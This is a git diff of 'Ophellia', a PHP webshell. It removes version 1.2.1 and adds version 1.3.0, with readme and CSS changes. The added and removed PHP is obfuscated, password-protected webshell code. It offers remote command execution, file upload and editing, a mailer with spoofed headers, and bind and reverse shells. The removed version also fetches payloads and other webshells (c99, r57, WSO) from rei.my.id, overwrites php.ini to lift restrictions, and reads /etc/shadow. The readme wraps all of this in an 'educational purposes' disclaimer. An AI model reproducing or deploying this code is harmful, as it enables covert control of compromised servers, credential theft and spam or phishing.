diff --git a/ophellia-en.php b/ophellia-en.php deleted file mode 100644 index 6435a60..0000000 --- a/ophellia-en.php +++ /dev/null @@ -1,13 +0,0 @@ -=1024){$size/=1024;$pos++;}return round($size,2)." ".$a[$pos];}function lasmod($file){global $opl;return date("d/m/Y H:i:s",$opl[33]($file));}function perms($file){global $opl;if($perms=@$opl[32]($file)){$flag='u';if(($perms&0xC000)==0xC000)$flag='s';elseif(($perms&0xA000)==0xA000)$flag='l';elseif(($perms&0x8000)==0x8000)$flag='-';elseif(($perms&0x6000)==0x6000)$flag='b';elseif(($perms&0x4000)==0x4000)$flag='d';elseif(($perms&0x2000)==0x2000)$flag='c';elseif(($perms&0x1000)==0x1000)$flag='p';$flag.=($perms&00400)?'r':'-';$flag.=($perms&00200)?'w':'-';$flag.=($perms&00100)?'x':'-';$flag.=($perms&00040)?'r':'-';$flag.=($perms&00020)?'w':'-';$flag.=($perms&00010)?'x':'-';$flag.=($perms&00004)?'r':'-';$flag.=($perms&00002)?'w':'-';$flag.=($perms&00001)?'x':'-';return $flag;}else{return substr(sprintf('%o',$opl[32]($file)),-4);}}function goog($item){global $opl;if($opl[12]("posix_getpwuid")){$downer=@$opl[40]($opl[37]($item));$downer=$downer['name'];}else{$downer=$opl[37]($item);}if($opl[12]("posix_getgrgid")){$dgrp=@$opl[40]($opl[41]($item));$dgrp=$dgrp['name'];}else{$dgrp=$opl[41]($item);}return $downer.'/'.$dgrp;}function gtyp($file){global $opl;$gtyp=($opl[12]('mime_content_type'))?$opl[39]($file):$opl[38]($file);return $gtyp;}$opl[2](0);$opl[3](0);$opl[4]();@$opl[5]('max_execution_time',0);@$opl[5]('output_buffering',0);$opl[6]();echo 'o p h e l l i a';if($opl[8](${$opl[0]}['pass'])==$pass){$opl[6]();${$opl[9]}['pass']=$pass;}if(isset(${$opl[9]}['pass'])==$pass){if($opl[7]('safe_mode')){$Safe="ON";}else{$Safe="OFF";}if(isset(${$opl[1]}['d'])){$path=hlx(${$opl[1]}['d']);$opl[10](hlx(${$opl[1]}['d']));}else{$path=$opl[11]();}if(isset($mkdir)){$mkdir=$path."/".${$opl[1]}['mkdir'];}if(isset($mkfile)){$mkfile=$path."/".${$opl[1]}['mkfile'];}$f=hlx(${$opl[1]}['f']);$fedit=hlx(${$opl[1]}['fedit']);$gwejh=$opl[16](${$opl[0]}['gwejh']);$mkdir=${$opl[1]}['mkdir'];$tools=${$opl[1]}['t'];$rmdir=hlx(${$opl[1]}['rmdir']);$mkfile=${$opl[1]}['mkfile'];$cndir=${$opl[1]}['cndir'];$file=$_SERVER['PHP_SELF'];$root=$_SERVER['DOCUMENT_ROOT'];$bytes=$opl[13](".");$rfile=hlx(${$opl[1]}['rfile']);$rename=${$opl[1]}['rename'];$path=$opl[17]('\\','/',$path);$si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');$class=min((int)log($bytes,1024),count($si_prefix)-1);$size=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];echo '


 

 
';if(isset($tools)){if(hlx($tools)=='network'){$pty=$opl[21]('https://rei.my.id/back_connect/python.txt');$rby=$opl[21]('https://rei.my.id/back_connect/ruby.txt');$bcc=$opl[21]('https://rei.my.id/back_connect/c.txt');$bcp=$opl[21]('https://rei.my.id/back_connect/perl.txt');$bpc=$opl[21]('https://rei.my.id/bind_shell/c.txt');$bpp=$opl[21]('https://rei.my.id/bind_shell/perl.txt');echo '

Network Tools

Bind Shell

IP: Port: Type:

Reverse Shell

IP: Port: Type:
';if(isset(${$opl[0]}['type'])){if(${$opl[0]}['type']=='cb'){sf('/tmp/cb.c',$bpc);$opl[14]('gcc -o /tmp/cb /tmp/cb.c');$opl[14]('/tmp/cb '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep cb')."
";}if(${$opl[0]}['type']=='pb'){sf('/tmp/pb.pl',$bpp);$opl[14]('perl /tmp/pb.pl '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep pb')."
";}if(${$opl[0]}['type']=='cbc'){sf('/tmp/cbc.c',$bcc);$opl[14]('gcc -o /tmp/cbc /tmp/cbc.c');$opl[14]('/tmp/cbc '.${$opl[0]}['ip'].' '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep cbc')."
";}if(${$opl[0]}['type']=='pbc'){sf('/tmp/pbc.pl',$bcp);$opl[14]('perl /tmp/pbc.pl '.${$opl[0]}['ip'].' '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep pbc')."
";}if(${$opl[0]}['type']=='rbb'){sf('/tmp/rbb.rb',$rby);$opl[14]('ruby /tmp/rbb.rb '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep rbb')."
";}if(${$opl[0]}['type']=='rbbc'){sf('/tmp/rbbc.rb',$rby);$opl[14]('ruby /tmp/rbbc.rb '.${$opl[0]}['port'].' '.${$opl[0]}['ip'].' &');echo "
".$opl[14]('ps aux | grep rbbc')."
";}if(${$opl[0]}['type']=='pyb'){sf('/tmp/pyb.py',$pty);$opl[14]('python /tmp/pyb.py '.${$opl[0]}['port'].' &');echo "
".$opl[14]('ps aux | grep pyb')."
";}if(${$opl[0]}['type']=='pybc'){sf('/tmp/pybc.py',$pty);$opl[14]('python /tmp/pybc.py '.${$opl[0]}['port'].' '.${$opl[0]}['ip'].' &');echo "
".$opl[14]('ps aux | grep pybc')."
";}}die();}if(hlx($tools)=='mailer'){echo '

Mailer Tools

From: To: Subject:

';if(isset(${$opl[0]}['from'])){$headers="From: ".${$opl[0]}['from']."\\\r\\\n";$headers.="Reply-To: ".${$opl[0]}['from']."\\\r\\\n";$headers.="Return-Path: ".${$opl[0]}['from']."\\\r\\\n";$headers.="X-Mailer: PHP/".$opl[20]();$opl[25](${$opl[0]}['to'],${$opl[0]}['subject'],${$opl[0]}['message'],$headers);echo "Mail Sent !";}echo '
';die();}if(hlx($tools)=='upload'){echo"

Upload Tools

current_dir [ $path ]
document_root [ $root ]


";if(isset(${$opl[0]}['upload'])){if(${$opl[0]}['uploadtype']==1){$tmp=$_FILES['upload']['tmp_name'];$up=$opl[28]($_FILES['upload']['name']);if($opl[29]($tmp,$path."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}else{$tmp=$_FILES['upload']['tmp_name'];$up=$opl[28]($_FILES['upload']['name']);if($opl[29]($tmp,$root."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}}die();}if(hlx($tools)=='info'){$disable_functions=(!empty(@$opl[7]('disable_functions')))?"".@$opl[7]('disable_functions')."":"NONE";echo "
System           : ".@$opl[18]('a')." ".$_SERVER['SERVER_SOFTWARE']."
User : ".$opl[19]()."
Free Space : $size
Server IP : ".$opl[24]($_SERVER['HTTP_HOST'])."
Client IP : ".$_SERVER['REMOTE_ADDR']."
Safe Mode : $Safe
PHP Version : ".@$opl[20]()."
Disable Function : $disable_functions";if(($opl[21]('/etc/os-release'))){echo "
/etc/os-release :
";}if(($opl[21]('/etc/passwd'))){echo "
/etc/passwd :
";}if(($opl[21]('/etc/shadow'))){echo "
/etc/shadow :
";}if(($opl[21]('/etc/group'))){echo "
/etc/group :
";}if(($opl[21]('/etc/hosts'))){echo "
/etc/hosts :
";}if(($opl[21]('/etc/fstab'))){echo "
/etc/fstab :
";}if(($opl[21]('/etc/resolv.conf'))){echo "
/etc/resolv.conf :
";}if(($opl[21]('/etc/mtab'))){echo "
/etc/mtab :
";}if(($opl[21]('/etc/ssh/ssh_config'))){echo "
/ssh/ssh_config :
";}echo "
";die();}}if(isset($rfile)and $opl[26]($rfile)){if($opl[27]($rfile)){echo("
File $rfile Deleted");}else{echo("
File $rfile Not Deleted");}}if(isset($gwejh)){if(!empty($gwejh)){echo "";}}if(isset($mkdir)){if(!empty($mkdir)){if(mkdir($mkdir,0777,true)){echo"
Directory $mkdir Created";}else{echo"
Directory $mkdir Not Created";}}else{echo "
Can't create empty name folder";}}if(isset($mkfile)){echo '



';if(${$opl[0]}['fname']&&${$opl[0]}['ftext']){if($opl[22](${$opl[0]}['fname'],${$opl[0]}['ftext'])){echo "
File ".${$opl[0]}['fname']." Created";}else{echo "
File ".${$opl[0]}['fname']." Not Created";}}}if(isset($rmdir)and $opl[26]($rmdir)){if($opl[30]($rmdir)){echo"
Directory $rmdir Deleted";}else{echo"
Directory $rmdir Not Deleted";}}if(isset($cndir)){$dir=$cndir;$rr=$_SERVER['SERVER_NAME']."$file?d=".xlh($dir);header("Location: http://$rr");}if(isset(${$opl[0]}['spawn'])){if(${$opl[0]}['spawn']=='webconsole'){sf('webconsole.php',$opl[21]('https://rei.my.id/webshell/webconsole.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='indoxploit'){sf('indoxploit.php',$opl[21]('https://rei.my.id/webshell/indoxploit.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='marijuana'){sf('marijuana.php',$opl[21]('https://rei.my.id/webshell/marijuana.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='adminer'){sf('adminer.php',$opl[21]('https://rei.my.id/webshell/adminer.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='phpinfo'){sf('phpinfo.php',$opl[21]('https://rei.my.id/webshell/phpinfo.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='b374k'){sf('b374k.php',$opl[21]('https://rei.my.id/webshell/b374k.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='wso'){sf('wso.php',$opl[21]('https://rei.my.id/webshell/wso.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='r57'){sf('r57.php',$opl[21]('https://rei.my.id/webshell/r57.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='c99'){sf('c99.php',$opl[21]('https://rei.my.id/webshell/c99.php'));echo "
Successfully spawn ".${$opl[0]}['spawn']."";}elseif(${$opl[0]}['spawn']=='phpini'){$ini=fopen($root.'/php.ini','w');fwrite($ini,"safe_mode = OFF\\\r\\\ndisable_functions = NONE");fclose($ini);echo "
Successfully spawn ".${$opl[0]}['spawn']."";}else{echo "
Failed to spawn ".${$opl[0]}['spawn']."";}}if(isset($rename)){echo '

Old Name: New Name:
';if(${$opl[0]}['oldname']&&${$opl[0]}['newname']){if(isset(${$opl[0]}['oldname'])){$opl[14]('mv '.${$opl[0]}['oldname'].' '.${$opl[0]}['newname']);echo 'Rename File Done.
';}else{echo 'Rename File Failed.
';}}echo '
';}if(isset($f)and $opl[33]($f)){$text=$opl[35]($opl[21]($f));echo '
';}if(isset($fedit)and $opl[26]($fedit)){$text=$opl[36]($opl[21]($fedit));echo '



';if($opl[23]($fedit)){if(isset(${$opl[0]}['text'])){$write=fopen($fedit,'w');$new_text=$opl[16](${$opl[0]}['text']);if(fwrite($write,$new_text)){echo 'Edit File Done.
';}else{echo 'Edit File Failed.
';}fclose($write);}}}echo '
';foreach($opl[31]($path)as $files){if(!is_dir($files))continue;if($files==".."|$files=="."){echo "";}else{echo"";}}foreach($opl[31]($path)as $files){if(!is_file($files))continue;echo"";}echo "
File Name Edit Remove Rename Filesize Filetype Permission Owner/Group LastModified
⚪$files
⚪$files-RemoveRename-".gtyp($files)."".perms($files)."".goog($files)."".lasmod($files)."
⚪$filesEditRemoveRename".fsize($files)."".gtyp($files)."".perms($files)."".goog($files)."".lasmod($files)."
";echo '';if(isset(${$opl[1]}['exit'])){unset(${$opl[9]}['pass']);echo "";exit();}}else{echo '
';}header('X-Powered-By: Ophellia v1.2.1');echo ''; \ No newline at end of file +$pass='3da13acc58e06f432f7df8af2767b938'; // kiraramagic +function hlx($rr){$xx='';for($c=0;$c's',0xA000=>'l',0x8000=>'-',0x6000=>'b',0x4000=>'d',0x2000=>'c',0x1000=>'p',];foreach($flagTypes as $mask=>$type){if(($perms&$mask)==$mask){$flag=$type;break;}}$permissions=[00400=>'r',00200=>'w',00100=>'x',00040=>'r',00020=>'w',00010=>'x',00004=>'r',00002=>'w',00001=>'x',];foreach($permissions as $mask=>$permission){$flag.=($perms&$mask)?$permission:'-';}return $flag;}else{return substr(sprintf('%o',fileperms($file)),-4);}}function goog($item){$downer="\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getpwuid")?@"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item))['name']:"\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item);$dgrp="\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getgrgid")?@"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item))['name']:"\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item);return $downer.'/'.$dgrp;}function gtyp($file){$gtyp=("\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('mime_content_type'))?"\x6d\x69\x6d\x65\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"($file):"\x66\x69\x6c\x65\x74\x79\x70\x65"($file);return $gtyp;}"\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67"(0);"\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74"(0);"\x6F\x62\x5F\x73\x74\x61\x72\x74"();"\x69\x6E\x69\x5F\x73\x65\x74"('max_execution_time',0);"\x69\x6E\x69\x5F\x73\x65\x74"('output_buffering',0);"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();echo 'o p h e l l i a';if("\x6D\x64\x35"(${"\x5f\x50\x4f\x53\x54"}['pass'])==$pass){"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']=$pass;}if(isset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass'])==$pass){if("\x69\x6E\x69\x5F\x67\x65\x74"('safe_mode')){$Safe="ON";}else{$Safe="OFF";}if(isset(${"\x5F\x47\x45\x54"}['d'])){$path=hlx(${"\x5F\x47\x45\x54"}['d']);"\x63\x68\x64\x69\x72"(hlx(${"\x5F\x47\x45\x54"}['d']));}else{$path="\x67\x65\x74\x63\x77\x64"();}if(isset($mkdir)){$mkdir=$path."/".${"\x5F\x47\x45\x54"}['mkdir'];}if(isset($mkfile)){$mkfile=$path."/".${"\x5F\x47\x45\x54"}['mkfile'];}$f=hlx(${"\x5F\x47\x45\x54"}['f']);$fedit=hlx(${"\x5F\x47\x45\x54"}['fedit']);$gwejh="\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['gwejh']);$mkdir=${"\x5F\x47\x45\x54"}['mkdir'];$tools=${"\x5F\x47\x45\x54"}['t'];$rmdir=hlx(${"\x5F\x47\x45\x54"}['rmdir']);$mkfile=${"\x5F\x47\x45\x54"}['mkfile'];$cndir=${"\x5F\x47\x45\x54"}['cndir'];$file=${"\x5f\x53\x45\x52\x56\x45\x52"}['PHP_SELF'];$root=${"\x5f\x53\x45\x52\x56\x45\x52"}['DOCUMENT_ROOT'];$bytes="\x64\x69\x73\x6b\x5f\x66\x72\x65\x65\x5f\x73\x70\x61\x63\x65"(".");$rfile=hlx(${"\x5F\x47\x45\x54"}['rfile']);$rename=${"\x5F\x47\x45\x54"}['rename'];$path="\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65"('\\','/',$path);$si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');$class=min((int)log($bytes,1024),count($si_prefix)-1);$size=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];echo '



 
';if(isset($gwejh)){if(!empty($gwejh)){echo "";}}if(isset($tools)){if(hlx($tools)=='network'){$pty="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/python.txt');$rby="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/ruby.txt');$bcc="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/c.txt');$bcp="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/perl.txt');$bpc="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/bind_shell/c.txt');$bpp="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/bind_shell/perl.txt');echo '

Network Tools

Bind Shell

IP: Port: Type:

Reverse Shell

IP: Port: Type:
';if(isset(${"\x5f\x50\x4f\x53\x54"}['type'])){$type=${"\x5f\x50\x4f\x53\x54"}['type'];$actions=['cb'=>['c','gcc -o /tmp/cb /tmp/cb.c','/tmp/cb'],'cbc'=>['c','gcc -o /tmp/cbc /tmp/cbc.c','/tmp/cbc'],'pb'=>['p','','perl /tmp/pb.pl'],'pbc'=>['p','','perl /tmp/pbc.pl'],'rbb'=>['r','','ruby /tmp/rbb.rb'],'rbbc'=>['r','','ruby /tmp/rbbc.rb'],'pyb'=>['py','','python /tmp/pyb.py'],'pybc'=>['py','','python /tmp/pybc.py']];if(isset($actions[$type])){$prefix=$actions[$type][0];$compileCommand=$actions[$type][1];$runCommand=$actions[$type][2];sf("/tmp/{$prefix}b.{$prefix}",${"\x5f\x50\x4f\x53\x54"}['code']);if(!empty($compileCommand)){"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"($compileCommand);}"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"("{$runCommand} ".${"\x5f\x50\x4f\x53\x54"}['port'].' '.(isset(${"\x5f\x50\x4f\x53\x54"}['ip'])?${"\x5f\x50\x4f\x53\x54"}['ip']:'').' &');echo "
"."\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"("ps aux | grep {$prefix}b")."
";}}die();}if(hlx($tools)=='mailer'){echo '

Mailer Tools

From: To: Subject:

';if(isset(${"\x5f\x50\x4f\x53\x54"}['from'])){$headers="From: Ophellia <".${"\x5f\x50\x4f\x53\x54"}['from'].">".PHP_EOL;$headers.="Reply-To: Ophellia <".${"\x5f\x50\x4f\x53\x54"}['from'].">".PHP_EOL;$headers.="Return-Path: ".${"\x5f\x50\x4f\x53\x54"}['from'].PHP_EOL;$headers.="X-Mailer: Microsoft Outlook 16.0";"\x6d\x61\x69\x6c"(${"\x5f\x50\x4f\x53\x54"}['to'],${"\x5f\x50\x4f\x53\x54"}['subject'],${"\x5f\x50\x4f\x53\x54"}['message'],$headers);echo "Mail Sent !";}echo '
';die();}if(hlx($tools)=='upload'){echo"

Upload Tools

current_dir [ $path ]
document_root [ $root ]


";if(isset(${"\x5f\x50\x4f\x53\x54"}['upload'])){if(${"\x5f\x50\x4f\x53\x54"}['uploadtype']==1){$tmp=$_FILES['upload']['tmp_name'];$up="\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);if("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp,$path."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}else{$tmp=$_FILES['upload']['tmp_name'];$up="\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);if("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp,$root."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}}die();}if(hlx($tools)=='info'){$disable_functions=(!empty(@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions')))?"".@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions')."":"NONE";echo "
System           : ".@"\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65"('a')." ".${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_SOFTWARE']."
User : "."\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72"()."
Free Space : $size
Server IP : "."\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST'])."
Client IP : ".${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR']."
Safe Mode : $Safe
PHP Version : ".@"\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e"()."
Disable Function : $disable_functions";echo "
";die();}}if(isset($rfile)and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rfile)){if("\x75\x6e\x6c\x69\x6e\x6b"($rfile)){echo("
File $rfile Deleted");}else{echo("
File $rfile Not Deleted");}}if(isset($mkdir)){if(!empty($mkdir)){if(mkdir($mkdir,0777,true)){echo"
Directory $mkdir Created";}else{echo"
Directory $mkdir Not Created";}}else{echo "
Can't create folder with empty name";}}if(isset($mkfile)){echo '


';if(!empty(${"\x5f\x50\x4f\x53\x54"}['fname'])){if(${"\x5f\x50\x4f\x53\x54"}['fname']&&${"\x5f\x50\x4f\x53\x54"}['ftext']){if("\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"(${"\x5f\x50\x4f\x53\x54"}['fname'],${"\x5f\x50\x4f\x53\x54"}['ftext'])){echo "
File ".${"\x5f\x50\x4f\x53\x54"}['fname']." Created";}else{echo "
File ".${"\x5f\x50\x4f\x53\x54"}['fname']." Not Created";}}}else{echo "
Can't create file with empty name";}}if(isset($rmdir)and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rmdir)){if("\x72\x6d\x64\x69\x72"($rmdir)){echo"
Directory $rmdir Deleted";}else{echo"
Directory $rmdir Not Deleted";}}if(isset($cndir)){$dir=$cndir;$rr=${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME']."$file?d=".xlh($dir);header("Location: http://$rr");}if(isset($rename)){echo '

Old Name: New Name:
';if(${"\x5f\x50\x4f\x53\x54"}['oldname']&&${"\x5f\x50\x4f\x53\x54"}['newname']){if(isset(${"\x5f\x50\x4f\x53\x54"}['oldname'])){rename(${"\x5f\x50\x4f\x53\x54"}['oldname'],${"\x5f\x50\x4f\x53\x54"}['newname']);echo 'Rename File Done.
';}else{echo 'Rename File Failed.
';}}echo '
';}if(isset($f)and "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($f)){$text="\x68\x74\x6d\x6c\x65\x6e\x74\x69\x74\x69\x65\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($f));echo '

';}if(isset($fedit)and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($fedit)){$text="\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($fedit));echo '



';if("\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73"($fedit)){if(isset(${"\x5f\x50\x4f\x53\x54"}['text'])){$write=fopen($fedit,'w');$new_text="\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['text']);if(fwrite($write,$new_text)){echo 'Edit File Done.
';}else{echo 'Edit File Failed.
';}fclose($write);}}}echo '
';foreach("\x73\x63\x61\x6E\x64\x69\x72"($path)as $files){if(!is_dir($files))continue;if($files==".."|$files=="."){echo "\n ";}else{echo"\n \n \n \n \n \n ";}}foreach("\x73\x63\x61\x6E\x64\x69\x72"($path)as $files){if(!is_file($files))continue;echo"\n \n \n \n \n \n ";}echo "
File Name Actions Filesize Filetype Permission Owner / Group Last Modified
$files
$files      / RM / CN-".gtyp($files)."".perms($files)."".goog($files)."".lasmod($files)."
$filesED / RM / CN".fsize($files)."".gtyp($files)."".perms($files)."".goog($files)."".lasmod($files)."
";if(isset(${"\x5F\x47\x45\x54"}['exit'])){unset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']);echo "";exit();}}else{echo '
';}header('X-Powered-By: Ophellia v1.3.0');echo ''; \ No newline at end of file diff --git a/readme.md b/readme.md index 26fb394..27caa92 100644 --- a/readme.md +++ b/readme.md @@ -1,77 +1,106 @@ ![logo](https://i.ibb.co/fS9N2QV/ophellia.png) -a simple webshell build in PHP 7.4 for penetration testing and educational purposes only, all kinds of illegal use is prohibited and developer are not responsible for any misuse or damage caused by this program.
-![php](https://img.shields.io/badge/PHP-7.4-bf616a?style=flat-square) +a simple webshell build in PHP 8.2 for penetration testing and educational purposes only, all kinds of illegal use is prohibited and developer are not responsible for any misuse or damage caused by this program.
+![php](https://img.shields.io/badge/PHP-8.2-bf616a?style=flat-square) ![licence](https://img.shields.io/badge/LICENE-GPL2.0-ebcb8b?style=flat-square) -![version](https://img.shields.io/badge/VERSION-1.2.1-a3be8c?style=flat-square) +![version](https://img.shields.io/badge/VERSION-1.3.0-a3be8c?style=flat-square) + +## _V1.3.0 - 'Kirara Magic'_ + +- **What is change?** + - [x] Re-write some function and make it more efficient + - [x] Re-write CSS for better UI + - [x] Re-write HEX bypass from array to direct string + - [x] Fix bug where you can't using terminal outside file manager + - [x] Fix bug where 'back' button kinda stupid in some function + - [x] Fix bug where you can make file with blank name + - [x] Removed + - [x] /etc/os-release + - [x] /etc/mtab + - [x] /etc/resolv.conf + - [x] /ssh/ssh_config + - [x] /etc/fstab + - [x] /etc/group + - [x] /etc/shadow + - [x] /etc/hosts + - [x] /etc/passwd + - [x] Dropdown menu for spawning webshell + +- **Known Issue** + - [ ] Bind and Reverse Shells are **Untested** please create issue about it if something error + +## _support me_ + +[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/elliottophellia) +[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://paypal.me/elliottophellia) ## _features_ + +- File Manager + - Rename + - File + - Directory + - Delete + - File + - Directory + - Edit + - file + - File size + - File permission + - File owner/group + - File last modified +- Upload File + - Current Directory + - Root Directory +- Network + - Bind Shell + - C + - Perl + - Ruby + - Python + - Reverse Shell + - C + - Perl + - Ruby + - Python - Mailer -- Terminal -- Spawner (All webshells work in PHP7+) - - Web Console - - IndoXploit - - Marijuana - - Adminer - - PHPinfo - - PHP.ini (Bypass Disable Function) - - b374k - - Wso - - R57 - - C99 + - Send Mail - Information - - System - User - - Free Space - - etc/passwd - - etc/host - - etc/shadow - - etc/group - - etc/fstab - - etc/os-release - - etc/mtab - - etc/resolv.conf - - etc/ssh/ssh_config + - System - Server IP - Client IP - - PHP Version - - Disable Function - Safe Mode + - Free Space + - Disable Function + - Disable Function - Create File - Create Directory -- Upload File - - Current Directory - - Root Directory -- Network - - Bind Shell - - C - - Perl - - Ruby - - Python - - Reverse Shell - - C - - Perl - - Ruby - - Python +- Terminal - Login Session - - lovepalestine -- Encrypted Function & URL + - Password : kiraramagic ## _license_ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991 - Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed. - +Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+Everyone is permitted to copy and distribute verbatim copies
+of this license document, but changing it is not allowed. ## _contribute_ -if you want to contribute to this project, you can fork this project and make a pull request, or you can contact me on [twitter](https://twitter.com/elliottophellia) or [email](mailto:me@rei.my.id) +if you want to contribute to this project, you can fork this project and make a pull request, or you can contact me on [twitter](https://twitter.com/elliottophellia) or [email](mailto:me@rei.my.id) ## _reference_ + - [WSO](https://github.com/mIcHyAmRaNe/wso-webshell) - [MARIJUANA](https://github.com/0x5a455553/MARIJUANA) - [INDOXPLOIT](https://github.com/linuxsec/indoxploit-shell) + +## _disclaimer_ + +Any actions and or activities related to the material contained within this web shell is solely your responsibility
+The misuse of the information in this web shell can result in criminal charges brought against the persons in question
+The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this web shell to break the law. diff --git a/style.css b/style.css new file mode 100644 index 0000000..47d64a0 --- /dev/null +++ b/style.css @@ -0,0 +1,153 @@ +/* + + O p h e l l i a W e b s h e l l + v1.3.0 + + Disclaimer: + + Any actions and or activities related to the material contained within this web shell is solely your responsibility + The misuse of the information in this web shell can result in criminal charges brought against the persons in question + The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this web shell to break the law. + +*/ +@import url("https://fonts.googleapis.com/css2?family=Roboto&display=swap"); +@import 